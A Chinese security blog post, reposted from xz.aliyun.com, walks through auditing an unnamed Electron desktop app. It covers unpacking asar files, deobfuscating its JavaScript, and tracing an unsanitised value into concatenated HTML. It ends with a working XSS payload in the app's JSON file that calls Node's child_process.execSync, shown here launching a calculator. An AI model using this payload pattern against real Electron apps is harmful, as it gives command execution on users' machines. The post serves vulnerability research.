electron应用漏洞挖掘
2019-12-29 12:22:41 Author: xz.aliyun.com(查看原文) 阅读量:353 收藏

前言

electron是一个流行的桌面应用开发框架,允许开发者使用web技术和nodejs结合来迅速开发桌面应用. 不过由于使用了js等, 也引入了xss漏洞.
这次用一个简单的app实战挖掘,为了避免广告嫌疑,就不提供app名字了.

解包

electron真正的应用内容 位于 resources目录.
如果打开后发现直接就是代码目录, 就可以跳过这一步了


一般会有两个asar包, electron.asar和应用一般无关, 直接看另一个就行了.

asar只是一个压缩包, 解包和重打包的工具可以直接通过npm下载.
下载命令sudo npm install -g asar 解压命令 asar extract app.asar <输出目录>

审计代码

各个目录的目录结构不一定,但都有一个主文件 如 main.js. 在这里处理应用的启动

自定义url协议

electron应用可以注册自己的url 协议 例如custom://, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等 例子.

注册url的代码例子如下

const protocol = electron.protocol

// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'

function createWindow () {
  mainWindow = new BrowserWindow({width: 1000, height: 800})
  // handle url protocol
  protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
    const fullUrl = formFullTodoUrl(req.url)
    devToolsLog('full url to open ' + fullUrl)
    mainWindow.loadURL(fullUrl)
  })
}

由于未在这款应用发现注册自定义url,只能跳过这处的代码审计了

代码反混淆

如果代码未使用反混淆, 可跳过这步.
这次审计的app使用了javascript obfuscator, 并不算太难.

使用https://lelinhtinh.github.io/de4js/ 就能解出来. 不过原有的参数名就回不来了, 在阅读代码时利用IDE的重命名变量能有效提高可读性

寻找输入点

为了寻找漏洞, 我们需要先寻找输入点.这个时候参考应用自身功能 找到对应的html文件代码是最方便的.
这个应用允许用户打开和编辑一些文件, 找到对应的editpoc.html. 发现这个文件高达2000多行.
好在html文件没有做js混淆, 可以通过IDE的文件结构功能快速浏览, 减少了不少工作量

花费了几分钟后, 找到了从文件获取数据的函数.然后代码将数据传递给了下面三个函数

第一个都是使用$(#xxx).val()函数 没太大问题

第二个被混淆了, 并且反混淆没成功

只好自己写个脚本来反混淆了

# 从上面文件拷贝出来
data= ["xxx"]
# 上面文件的变量名
name = "_$_3fd4"
filename = "bmheditor.js"

with open(filename, "r") as f:
     content = f.read()

for i in range(len(data)):
    content = content.replace(name+f"[{i}]", f"`{data[i]}`")

with open("output.js", "w") as f:
    f.write(content)

最后效果
可以发现并没有太明显的拼接html痕迹 也是调用val

第三个经过一些值传递后的代码

可以发现像这样的
var $input2 = $("<input type='text' value='"+value+"' name='value' class='form-control' style=' width:20%; display: inline-block;' placeholder='value'>");
直接拼接html, 如果没有过滤将会导致xss.

value是从var value = v.value; 传递来的

在上面的代码也没有过滤

if (typeof(item.ExpParams) == "undefined") { 
            var ExpParams = [];
        }else{
            var ExpParams = item.ExpParams;
        }

查看被传递过来参数pocJsonInfo

var FileName = temp_params2;
            if(from == 'store') {
                var pocJsonInfo = getPocJsonByRubyFileName(FileName, 1);
            } else {
                var pocJsonInfo = getPocJsonByRubyFileName(FileName);
            }
            pocJsonInfo = JSON.parse(pocJsonInfo);
            old_poc_content = pocJsonInfo;

            pocJsonInfo.FileName = FileName;

只经过了json解析
而反混淆的getPocJsonByRubyFileName函数也没什么过滤

利用

上面解析的json 实际上是这app可以编辑的文件里的一部分

只需要添加

"ExpParams": [
          {"name":"test'/><script>alert(1)</script>","type":"input","value":"test"}
      ],

这样的即可.

要利用electron的xss 由于electron允许使用nodejs, 所以只需要引入nodejs自带的命令执行模块child_process即可
例子
require('child_process').execSync('xxxxx')

这边环境是Linux 如果要弹个计算器
实际exp

"ExpParams": [
          {"name":"test'/></td></tr><img src=x onerror=\"require('child_process').execSync('gnome-calculator');\">","type":"input","value":"test"}
      ],

弹计算器时间


文章来源: http://xz.aliyun.com/t/6998
如有侵权请联系:admin#unsafe.sh